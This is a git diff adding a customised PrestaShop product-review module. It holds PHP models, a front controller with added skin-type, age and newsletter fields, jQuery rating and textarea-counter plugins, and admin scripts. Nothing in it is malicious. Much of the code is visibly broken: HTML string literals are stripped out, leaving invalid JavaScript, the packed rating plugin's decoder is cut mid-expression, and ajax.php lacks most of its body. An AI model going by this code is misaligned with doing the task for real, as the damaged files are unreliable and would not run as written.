(pcc.id_product_comment_criterion = pccl.id_product_comment_criterion) + LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion_product` pccp + ON (pcc.`id_product_comment_criterion` = pccp.`id_product_comment_criterion` AND pccp.`id_product` = '.(int)$id_product.') + LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion_category` pccc + ON (pcc.`id_product_comment_criterion` = pccc.`id_product_comment_criterion`) + LEFT JOIN `'._DB_PREFIX_.'product'.$table.'` '.$alias.' + ON ('.$alias.'.id_category_default = pccc.id_category AND '.$alias.'.id_product = '.(int)$id_product.') + WHERE pccl.`id_lang` = '.(int)($id_lang).' + AND ( + pccp.id_product IS NOT NULL + OR ps.id_product IS NOT NULL + OR pcc.id_product_comment_criterion_type = 1 + ) + AND pcc.active = 1 + GROUP BY pcc.id_product_comment_criterion + '); + } + + /** + * Get Criterions + * + * @return array Criterions + */ + public static function getCriterions($id_lang, $type = false, $active = false) + { + if (!Validate::isUnsignedId($id_lang)) + die(Tools::displayError()); + return Db::getInstance()->executeS(' + SELECT pcc.`id_product_comment_criterion`, pcc.id_product_comment_criterion_type, pccl.`name`, pcc.active + FROM `'._DB_PREFIX_.'product_comment_criterion` pcc + JOIN `'._DB_PREFIX_.'product_comment_criterion_lang` pccl ON (pcc.id_product_comment_criterion = pccl.id_product_comment_criterion) + WHERE pccl.`id_lang` = '.(int)$id_lang.($active ? ' AND active = 1' : '').($type ? ' AND id_product_comment_criterion_type = '.(int)$type : '').' + ORDER BY pccl.`name` ASC + '); + } + + public function getProducts() + { + $res = Db::getInstance()->executeS(' + SELECT pccp.id_product, pccp.id_product_comment_criterion + FROM `'._DB_PREFIX_.'product_comment_criterion_product` pccp + WHERE pccp.id_product_comment_criterion = '.(int)$this->id); + $products = array(); + if ($res) + foreach ($res AS $row) + $products[] = (int)$row['id_product']; + return $products; + } + + public function getCategories() + { + $res = Db::getInstance()->executeS(' + SELECT pccc.id_category, pccc.id_product_comment_criterion + FROM `'._DB_PREFIX_.'product_comment_criterion_category` pccc + WHERE pccc.id_product_comment_criterion = '.(int)$this->id); + $criterions = array(); + if ($res) + foreach ($res AS $row) + $criterions[] = (int)$row['id_category']; + return $criterions; + } + + public function deleteCategories() + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_criterion_category` + WHERE `id_product_comment_criterion` = '.(int)$this->id); + } + + public function deleteProducts() + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_criterion_product` + WHERE `id_product_comment_criterion` = '.(int)$this->id); + } + + public static function getTypes() + { + // Instance of module class for translations + $module = new ProductComments(); + + return array( + 1 => $module->l('Valid for the entire catalog', 'ProductCommentCriterion'), + 2 => $module->l('Restricted to some categories', 'ProductCommentCriterion'), + 3 => $module->l('Restricted to some products', 'ProductCommentCriterion') + ); + } +} diff --git a/modules/productcomments/ProductCriterion.php b/modules/productcomments/ProductCriterion.php new file mode 100755 index 0000000..2254d39 --- /dev/null +++ b/modules/productcomments/ProductCriterion.php @@ -0,0 +1,174 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProductCommentCriterion +{ + /** + * Add a Comment Criterion + * + * @return boolean succeed + */ + public static function add($id_lang, $name) + { + if (!Validate::isUnsignedId($id_lang) || + !Validate::isMessage($name)) + die(Tools::displayError()); + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_criterion` + (`id_lang`, `name`) VALUES( + '.(int)($id_lang).', + \''.pSQL($name).'\')')); + } + + /** + * Link a Comment Criterion to a product + * + * @return boolean succeed + */ + public static function addToProduct($id_product_comment_criterion, $id_product) + { + if (!Validate::isUnsignedId($id_product_comment_criterion) || + !Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_criterion_product` + (`id_product_comment_criterion`, `id_product`) VALUES( + '.(int)($id_product_comment_criterion).', + '.(int)($id_product).')')); + } + + /** + * Add grade to a criterion + * + * @return boolean succeed + */ + public static function addGrade($id_product_comment, $id_product_comment_criterion, $grade) + { + if (!Validate::isUnsignedId($id_product_comment) || + !Validate::isUnsignedId($id_product_comment_criterion)) + die(Tools::displayError()); + if ($grade < 0) + $grade = 0; + else if ($grade > 10) + $grade = 10; + return (Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_comment_grade` + (`id_product_comment`, `id_product_comment_criterion`, `grade`) VALUES( + '.(int)($id_product_comment).', + '.(int)($id_product_comment_criterion).', + '.(int)($grade).')')); + } + + /** + * Update criterion + * + * @return boolean succeed + */ + public static function update($id_product_comment_criterion, $id_lang, $name) + { + if (!Validate::isUnsignedId($id_product_comment_criterion) || + !Validate::isUnsignedId($id_lang) || + !Validate::isMessage($name)) + die(Tools::displayError()); + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'product_comment_criterion` SET + `name` = \''.pSQL($name).'\' + WHERE `id_product_comment_criterion` = '.(int)($id_product_comment_criterion).' AND + `id_lang` = '.(int)($id_lang))); + } + + /** + * Get criterion by Product + * + * @return array Criterion + */ + public static function getByProduct($id_product, $id_lang) + { + if (!Validate::isUnsignedId($id_product) || + !Validate::isUnsignedId($id_lang)) + die(Tools::displayError()); + return (Db::getInstance()->executeS(' + SELECT pcc.`id_product_comment_criterion`, pcc.`name` + FROM `'._DB_PREFIX_.'product_comment_criterion` pcc + INNER JOIN `'._DB_PREFIX_.'product_comment_criterion_product` pccp ON pcc.`id_product_comment_criterion` = pccp.`id_product_comment_criterion` + WHERE pccp.`id_product` = '.(int)($id_product).' AND + pcc.`id_lang` = '.(int)($id_lang))); + } + + /** + * Get Criterions + * + * @return array Criterions + */ + public static function get($id_lang) + { + if (!Validate::isUnsignedId($id_lang)) + die(Tools::displayError()); + return (Db::getInstance()->executeS(' + SELECT pcc.`id_product_comment_criterion`, pcc.`name` + FROM `'._DB_PREFIX_.'product_comment_criterion` pcc + WHERE pcc.`id_lang` = '.(int)($id_lang).' + ORDER BY pcc.`name` ASC')); + } + + /** + * Delete product criterion by product + * + * @return boolean succeed + */ + public static function deleteByProduct($id_product) + { + if (!Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + return (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_criterion_product` + WHERE `id_product` = '.(int)($id_product))); + } + + /** + * Delete all reference of a criterion + * + * @return boolean succeed + */ + public static function delete($id_product_comment_criterion) + { + if (!Validate::isUnsignedId($id_product_comment_criterion)) + die(Tools::displayError()); + $result = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_grade` + WHERE `id_product_comment_criterion` = '.(int)($id_product_comment_criterion)); + if ($result === false) + return ($result); + $result = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_criterion_product` + WHERE `id_product_comment_criterion` = '.(int)($id_product_comment_criterion)); + if ($result === false) + return ($result); + return (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_comment_criterion` + WHERE `id_product_comment_criterion` = '.(int)($id_product_comment_criterion))); + } +}; \ No newline at end of file diff --git a/modules/productcomments/ajax.php b/modules/productcomments/ajax.php new file mode 100644 index 0000000..963fb88 --- /dev/null +++ b/modules/productcomments/ajax.php @@ -0,0 +1,14 @@ +getRow($sql); + + header('Content-type: application/json'); + echo json_encode($result); +} + diff --git a/modules/productcomments/controllers/front/default.php b/modules/productcomments/controllers/front/default.php new file mode 100755 index 0000000..b081609 --- /dev/null +++ b/modules/productcomments/controllers/front/default.php @@ -0,0 +1,209 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// Include Module +include_once(dirname(__FILE__).'/../../productcomments.php'); +// Include Models +include_once(dirname(__FILE__).'/../../ProductComment.php'); +include_once(dirname(__FILE__).'/../../ProductCommentCriterion.php'); +// Include Mailchimp to register emails to the newsletter +include_once(dirname(__FILE__).'/../../../mailchimpsync/mailchimpsync.php'); + +class ProductCommentsDefaultModuleFrontController extends ModuleFrontController +{ + public function __construct() + { + parent::__construct(); + + $this->context = Context::getContext(); + } + + public function initContent() + { + parent::initContent(); + + if (Tools::isSubmit('action')) + { + switch(Tools::getValue('action')) + { + case 'add_comment': + $this->ajaxProcessAddComment(); + break; + case 'report_abuse': + $this->ajaxProcessReportAbuse(); + break; + case 'comment_is_usefull': + $this->ajaxProcessCommentIsUsefull(); + break; + } + } + } + + protected function ajaxProcessAddComment() + { + $module_instance = new ProductComments(); + + $result = true; + $id_guest = 0; + $id_customer = $this->context->customer->id; + if (!$id_customer) + $id_guest = $this->context->cookie->id_guest; + + $errors = array(); + // Validation + if (!Validate::isInt(Tools::getValue('id_product'))) + $errors[] = $module_instance->l('ID product is incorrect'); + if (!Tools::getValue('title') || !Validate::isGenericName(Tools::getValue('title'))) + $errors[] = $module_instance->l('Title is incorrect'); + if (!Tools::getValue('content') || !Validate::isMessage(Tools::getValue('content'))) + $errors[] = $module_instance->l('Comment is incorrect'); + if (!Tools::getValue('customer_email') || !Validate::isEmail(Tools::getValue('customer_email'))) + $errors[] = $module_instance->l('Email non valide'); + if (!$id_customer && (!Tools::isSubmit('customer_name') || !Tools::getValue('customer_name') || !Validate::isGenericName(Tools::getValue('customer_name')))) + $errors[] = $module_instance->l('Customer name is incorrect'); + if (!Tools::isSubmit('customer_type_de_peau') && !Tools::getValue('customer_type_de_peau')) + $errors[] = $module_instance->l('Merci de renseigner votre type de peau'); + if (!Tools::isSubmit('customer_age') && !Tools::getValue('customer_age')) + $errors[] = $module_instance->l('Merci de renseigner votre age'); + if (!Tools::isSubmit('customer_surname') && !Tools::getValue('customer_surname')) + $errors[] = $module_instance->l('Merci de renseigner votre prénom'); + if (!$this->context->customer->id && !Configuration::get('PRODUCT_COMMENTS_ALLOW_GUESTS')) + $errors[] = $module_instance->l('You must be logged in order to send a comment'); + if (!count(Tools::getValue('criterion'))) + $errors[] = $module_instance->l('You must give a rating'); + + $product = new Product(Tools::getValue('id_product')); + if (!$product->id) + $errors[] = $module_instance->l('Product not found'); + + if (!count($errors)) + { + if ( Tools::getValue('newsletter') === 'newsletter' ) { + $register = $this->registerGuest(Tools::getValue('customer_email')); + $mailchimpsync = new MailchimpSync(); + $return = $mailchimpsync->register(Tools::getValue('customer_email', ''), array('optin_ip' => Tools::getRemoteAddr())); + } + + $customer_comment = ProductComment::getByCustomer(Tools::getValue('id_product'), $id_customer, true, $id_guest); + if (!$customer_comment || ($customer_comment && (strtotime($customer_comment['date_add']) + Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME')) < time())) + { + + $comment = new ProductComment(); + $comment->content = strip_tags(Tools::getValue('content')); + $comment->id_product = (int)Tools::getValue('id_product'); + $comment->id_customer = (int)$id_customer; + $comment->id_guest = $id_guest; + $comment->customer_email = Tools::getValue('customer_email'); + $comment->customer_name = Tools::getValue('customer_name'); + $comment->customer_type_de_peau = Tools::getValue('customer_type_de_peau'); + $comment->customer_age = Tools::getValue('customer_age'); + $comment->customer_civilite = Tools::getValue('customer_civilite'); + $comment->customer_surname = Tools::getValue('customer_surname'); + + // if (!$comment->customer_name) + // $comment->customer_name = pSQL($this->context->customer->firstname.' '.$this->context->customer->lastname); + $comment->title = Tools::getValue('title'); + $comment->grade = 0; + $comment->validate = 0; + $comment->save(); + + $grade_sum = 0; + foreach(Tools::getValue('criterion') as $id_product_comment_criterion => $grade) + { + $grade_sum += $grade; + $product_comment_criterion = new ProductCommentCriterion($id_product_comment_criterion); + if ($product_comment_criterion->id) + $product_comment_criterion->addGrade($comment->id, $grade); + } + + if (count(Tools::getValue('criterion')) >= 1) + { + $comment->grade = $grade_sum / count(Tools::getValue('criterion')); + // Update Grade average of comment + $comment->save(); + } + $result = true; + } + else + { + $result = false; + $errors[] = $module_instance->l('You should wait').' '.Configuration::get('PRODUCT_COMMENTS_MINIMAL_TIME').' '.$module_instance->l('seconds before posting a new comment'); + } + } + else + $result = false; + + die(Tools::jsonEncode(array( + 'result' => $result, + 'errors' => $errors + ))); + } + + protected function ajaxProcessReportAbuse() + { + if (!Tools::isSubmit('id_product_comment')) + die('0'); + + if (ProductComment::isAlreadyReport(Tools::getValue('id_product_comment'), $this->context->cookie->id_customer)) + die('0'); + + if (ProductComment::reportComment((int)Tools::getValue('id_product_comment'), $this->context->cookie->id_customer)) + die('1'); + + die('0'); + } + + protected function ajaxProcessCommentIsUsefull() + { + if (!Tools::isSubmit('id_product_comment') || !Tools::isSubmit('value')) + die('0'); + + if (ProductComment::isAlreadyUsefulness(Tools::getValue('id_product_comment'), $this->context->cookie->id_customer)) + die('0'); + + if (ProductComment::setCommentUsefulness((int)Tools::getValue('id_product_comment'), (bool)Tools::getValue('value'), $this->context->cookie->id_customer)) + die('1'); + + die('0'); + } + + protected function registerGuest($email, $active = true) + { + $url_referrer = $_SERVER['HTTP_REFERER']; + $sql = 'INSERT INTO `'._DB_PREFIX_.'newsletter` (id_shop, id_shop_group, email, newsletter_date_add, ip_registration_newsletter, http_referer, active, id_lang) + VALUES ( + '.$this->context->shop->id.', + '.$this->context->shop->id_shop_group.', + "'.pSQL($email).'", + NOW(), + "'.pSQL(Tools::getRemoteAddr()).'", + "'.pSQL($url_referrer).'", + '.(int)$active.', + '.$this->context->language->id.' + )'; + return Db::getInstance()->execute($sql); + } +} diff --git a/modules/productcomments/controllers/front/index.php b/modules/productcomments/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/productcomments/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productcomments/controllers/index.php b/modules/productcomments/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/productcomments/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productcomments/img/accept.png b/modules/productcomments/img/accept.png new file mode 100755 index 0000000..89c8129 Binary files /dev/null and b/modules/productcomments/img/accept.png differ diff --git a/modules/productcomments/img/bg_bt.gif b/modules/productcomments/img/bg_bt.gif new file mode 100755 index 0000000..202d52a Binary files /dev/null and b/modules/productcomments/img/bg_bt.gif differ diff --git a/modules/productcomments/img/bg_li.png b/modules/productcomments/img/bg_li.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/productcomments/img/bg_li.png differ diff --git a/modules/productcomments/img/comment.png b/modules/productcomments/img/comment.png new file mode 100755 index 0000000..7bc9233 Binary files /dev/null and b/modules/productcomments/img/comment.png differ diff --git a/modules/productcomments/img/comments_delete.png b/modules/productcomments/img/comments_delete.png new file mode 100755 index 0000000..6df7376 Binary files /dev/null and b/modules/productcomments/img/comments_delete.png differ diff --git a/modules/productcomments/img/delete.gif b/modules/productcomments/img/delete.gif new file mode 100755 index 0000000..43c6ca8 Binary files /dev/null and b/modules/productcomments/img/delete.gif differ diff --git a/modules/productcomments/img/delete.png b/modules/productcomments/img/delete.png new file mode 100755 index 0000000..08f2493 Binary files /dev/null and b/modules/productcomments/img/delete.png differ diff --git a/modules/productcomments/img/index.php b/modules/productcomments/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/productcomments/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productcomments/img/note.png b/modules/productcomments/img/note.png new file mode 100755 index 0000000..244e6ca Binary files /dev/null and b/modules/productcomments/img/note.png differ diff --git a/modules/productcomments/img/note_go.png b/modules/productcomments/img/note_go.png new file mode 100755 index 0000000..49e54fd Binary files /dev/null and b/modules/productcomments/img/note_go.png differ diff --git a/modules/productcomments/img/star.gif b/modules/productcomments/img/star.gif new file mode 100755 index 0000000..6d647b4 Binary files /dev/null and b/modules/productcomments/img/star.gif differ diff --git a/modules/productcomments/index.php b/modules/productcomments/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/productcomments/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productcomments/js/index.php b/modules/productcomments/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/productcomments/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productcomments/js/jquery.rating.pack.js b/modules/productcomments/js/jquery.rating.pack.js new file mode 100755 index 0000000..488c28b --- /dev/null +++ b/modules/productcomments/js/jquery.rating.pack.js @@ -0,0 +1,12 @@ +/* + ### jQuery Star Rating Plugin v2.0 - 2008-03-12 ### + By Diego A, http://www.fyneworks.com, diego@fyneworks.com + - v2 by Keith Wood, kbwood@virginbroadband.com.au + + Project: http://plugins.jquery.com/project/MultipleFriendlyStarRating + Website: http://www.fyneworks.com/jquery/star-rating/ + + This is a modified version of the star rating plugin from: + http://www.phpletter.com/Demo/Jquery-Star-Rating-Plugin/ +*/ +eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}(';4(w)(3($){$.Y.T=3(c){c=$.15({m:\'X U\',E:\'\',B:z,8:z},c||{});o d={};o e={t:3(n,a,b){2.6(n);$(a).D(\'.j\').A().l(b||\'x\')},6:3(n){$(d[n].7).O(\'.j\').u(\'9\').u(\'x\')},h:3(n){4(!$(d[n].5).Z(\'.m\')){$(d[n].5).D(\'.j\').A().l(\'9\')}},g:3(n,a){d[n].5=a;o b=$(a).L(\'a\').K();$(d[n].7).J(b);e.6(n);e.h(n);4(c.I)c.I.W(d[n].7,[b,a])}};2.V(3(i){o n=2.G;4(!d[n])d[n]={r:0};i=d[n].r;d[n].r++;4(i==0){c.8=$(2).S(\'p\')||c.8;d[n].7=$(\'\');$(2).C(d[n].7);4(c.8||c.B){}F{$(2).C($(\'\'+c.E+\'\').H(3(){e.6(n);$(2).l(\'9\')}).v(3(){e.h(n);$(2).u(\'9\')}).g(3(){e.g(n,2)}))}};f=$(\'\'+2.q+\'\');$(2).N(f);4(c.8){$(f).l(\'M\')}F{$(f).H(3(){e.6(n);e.t(n,2)}).v(3(){e.6(n);e.h(n)}).g(3(){e.g(n,2)})};4(2.14)d[n].5=f;$(2).13();4(i+1==2.12)e.h(n)});11(n 10 d)4(d[n].5){e.t(n,d[n].5,\'9\');$(d[n].7).J($(d[n].5).L(\'a\').K())}16 2}})(w);',62,69,'||this|function|if|currentElem|drain|valueElem|readOnly|star_on||||||eStar|click|reset||star|div|addClass|cancel||var|disabled|value|count|title|fill|removeClass|mouseout|jQuery|star_hover|class|false|andSelf|required|before|prevAll|cancelValue|else|name|mouseover|callback|val|text|children|star_readonly|after|siblings|hidden|type|input|attr|rating|Rating|each|apply|Cancel|fn|is|in|for|length|remove|checked|extend|return'.split('|'),0,{})) \ No newline at end of file diff --git a/modules/productcomments/js/jquery.textareaCounter.plugin.js b/modules/productcomments/js/jquery.textareaCounter.plugin.js new file mode 100755 index 0000000..fe94870 --- /dev/null +++ b/modules/productcomments/js/jquery.textareaCounter.plugin.js @@ -0,0 +1,163 @@ +/* + * jQuery Textarea Characters Counter Plugin v 2.0 + * Examples and documentation at: http://roy-jin.appspot.com/jsp/textareaCounter.jsp + * Copyright (c) 2010 Roy Jin + * Version: 2.0 (11-JUN-2010) + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + * Requires: jQuery v1.4.2 or later + */ +(function($){ + $.fn.textareaCount = function(options, fn) { + var defaults = { + maxCharacterSize: -1, + originalStyle: 'originalTextareaInfo', + warningStyle: 'warningTextareaInfo', + warningNumber: 20, + displayFormat: '#input characters | #words words' + }; + var options = $.extend(defaults, options); + + var container = $(this); + + $("
         
        ").insertAfter(container); + + //create charleft css + var charLeftCss = { + 'width' : container.width() + }; + + var charLeftInfo = getNextCharLeftInformation(container); + charLeftInfo.addClass(options.originalStyle); + charLeftInfo.css(charLeftCss); + + var numInput = 0; + var maxCharacters = options.maxCharacterSize; + var numLeft = 0; + var numWords = 0; + + container.bind('keyup', function(event){limitTextAreaByCharacterCount();}) + .bind('mouseover', function(event){setTimeout(function(){limitTextAreaByCharacterCount();}, 10);}) + .bind('paste', function(event){setTimeout(function(){limitTextAreaByCharacterCount();}, 10);}); + + + function limitTextAreaByCharacterCount(){ + charLeftInfo.html(countByCharacters()); + //function call back + if(typeof fn != 'undefined'){ + fn.call(this, getInfo()); + } + return true; + } + + function countByCharacters(){ + var content = container.val(); + var contentLength = content.length; + + //Start Cut + if(options.maxCharacterSize > 0){ + //If copied content is already more than maxCharacterSize, chop it to maxCharacterSize. + if(contentLength >= options.maxCharacterSize) { + content = content.substring(0, options.maxCharacterSize); + } + + var newlineCount = getNewlineCount(content); + + // newlineCount new line character. For windows, it occupies 2 characters + var systemmaxCharacterSize = options.maxCharacterSize - newlineCount; + if (!isWin()){ + systemmaxCharacterSize = options.maxCharacterSize + } + if(contentLength > systemmaxCharacterSize){ + //avoid scroll bar moving + var originalScrollTopPosition = this.scrollTop; + container.val(content.substring(0, systemmaxCharacterSize)); + this.scrollTop = originalScrollTopPosition; + } + charLeftInfo.removeClass(options.warningStyle); + if(systemmaxCharacterSize - contentLength <= options.warningNumber){ + charLeftInfo.addClass(options.warningStyle); + } + + numInput = container.val().length + newlineCount; + if(!isWin()){ + numInput = container.val().length; + } + + numWords = countWord(getCleanedWordString(container.val())); + + numLeft = maxCharacters - numInput; + } else { + //normal count, no cut + var newlineCount = getNewlineCount(content); + numInput = container.val().length + newlineCount; + if(!isWin()){ + numInput = container.val().length; + } + numWords = countWord(getCleanedWordString(container.val())); + } + + return formatDisplayInfo(); + } + + function formatDisplayInfo(){ + var format = options.displayFormat; + format = format.replace('#input', numInput); + format = format.replace('#words', numWords); + //When maxCharacters <= 0, #max, #left cannot be substituted. + if(maxCharacters > 0){ + format = format.replace('#max', maxCharacters); + format = format.replace('#left', numLeft); + } + return format; + } + + function getInfo(){ + var info = { + input: numInput, + max: maxCharacters, + left: numLeft, + words: numWords + }; + return info; + } + + function getNextCharLeftInformation(container){ + return container.next('.charleft'); + } + + function isWin(){ + var strOS = navigator.appVersion; + if (strOS.toLowerCase().indexOf('win') != -1){ + return true; + } + return false; + } + + function getNewlineCount(content){ + var newlineCount = 0; + for(var i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function getCommentForm() +{ + if (document.forms) + return (document.forms['comment_form']); + else + return (document.comment_form); +} + +function getCommentDeleteForm() +{ + if (document.forms) + return (document.forms['delete_comment_form']); + else + return (document.delete_comment_form); +} + +function acceptComment(id) +{ + var form = getCommentForm(); + if (id) + form.elements['id_product_comment'].value = id; + form.elements['action'].value = 'accept'; + form.submit(); +} + +/* +* Override : comments are not deleted but stored in an history +*/ +function deleteComment(id) +{ + var form = getCommentForm(); + if (id) + form.elements['id_product_comment'].value = id; + form.elements['action'].value = 'history'; + form.submit(); +} + +/* +* Override : get back a comment from the history +*/ +function retrieveComment(id) +{ + var form = getCommentForm(); + if (id) + form.elements['id_product_comment'].value = id; + form.elements['action'].value = 'retrieve'; + form.submit(); +} + +function delComment(id, confirmation) +{ + var answer = confirm(confirmation); + if (answer) + { + var form = getCommentDeleteForm(); + if (id) + form.elements['delete_id_product_comment'].value = id; + form.elements['delete_action'].value = 'delete'; + form.submit(); + } +} + +function displayEdit() +{ + var id = $("#edit_id").val(); + var path = $("#edit_path").val(); + var action = $(".width2bis form").attr('action'); + console.log(path); + $.ajax({ + url: path, + type: "post", + dataType: "json", + data: {'id': id}, + success: function(data){ + console.log(data); + var html = '
        ' + +'' + +'
        ' + +'' + +'' + +'
        ' + +'
        ' + +'' + +'' + +'
        ' + +'
        ' + +''; + $("#edit_placeholder").html(html); + } + }) +} + +function getCriterionForm() +{ + if (document.forms) + return (document.forms['criterion_form']); + else + return (document.criterion_form); +} + +function editCriterion(id) +{ + var form = getCriterionForm(); + form.elements['id_product_comment_criterion'].value = id; + form.elements['criterion_name'].value = document.getElementById('criterion_name_' + id).value; + form.elements['criterion_action'].value = 'edit'; + form.submit(); +} + +function deleteCriterion(id) +{ + var form = getCriterionForm(); + form.elements['id_product_comment_criterion'].value = id; + form.elements['criterion_action'].value = 'delete'; + form.submit(); +} diff --git a/modules/productcomments/js/productCriterion.js b/modules/productcomments/js/productCriterion.js new file mode 100755 index 0000000..a453a82 --- /dev/null +++ b/modules/productcomments/js/productCriterion.js @@ -0,0 +1,40 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function getProductCriterionForm() +{ + if (document.forms) + return (document.forms['product_criterion_form']); + else + return (document.product_criterion_form); +} + +function getProductCriterion(path, id_product, id_lang) +{ + $.get(path + 'productcommentscriterion.php', { id_product: id_product, id_lang: id_lang }, + function(data){ + document.getElementById('product_criterions').innerHTML = data; + }); +} diff --git a/modules/productcomments/js/productcomments.js b/modules/productcomments/js/productcomments.js new file mode 100755 index 0000000..cb9b114 --- /dev/null +++ b/modules/productcomments/js/productcomments.js @@ -0,0 +1,86 @@ +$(function() { + $('input[@type=radio].star').rating(); + $('.auto-submit-star').rating(); + + $('.open-comment-form').fancybox({ + 'hideOnContentClick': false + }); + + $('button.usefulness_btn').click(function() { + var id_product_comment = $(this).data('id-product-comment'); + var is_usefull = $(this).data('is-usefull'); + var parent = $(this).parent(); + + $.ajax({ + url: productcomments_controller_url + '?rand=' + new Date().getTime(), + data: { + id_product_comment: id_product_comment, + action: 'comment_is_usefull', + value: is_usefull + }, + type: 'POST', + headers: { "cache-control": "no-cache" }, + success: function(result){ + parent.fadeOut('slow', function() { + parent.remove(); + }); + } + }); + }); + + $('span.report_btn').click(function() { + if (confirm(confirm_report_message)) + { + var idProductComment = $(this).data('id-product-comment'); + var parent = $(this).parent(); + + $.ajax({ + url: productcomments_controller_url + '?rand=' + new Date().getTime(), + data: { + id_product_comment: idProductComment, + action: 'report_abuse' + }, + type: 'POST', + headers: { "cache-control": "no-cache" }, + success: function(result){ + parent.fadeOut('slow', function() { + parent.remove(); + }); + } + }); + } + }); + + $('#submitNewMessage').click(function(e) { + // Kill default behaviour + e.preventDefault(); + + // Form element + + url_options = parseInt(productcomments_url_rewrite) ? '?' : '&'; + $.ajax({ + url: productcomments_controller_url + url_options + 'action=add_comment&secure_key=' + secure_key + '&rand=' + new Date().getTime(), + data: 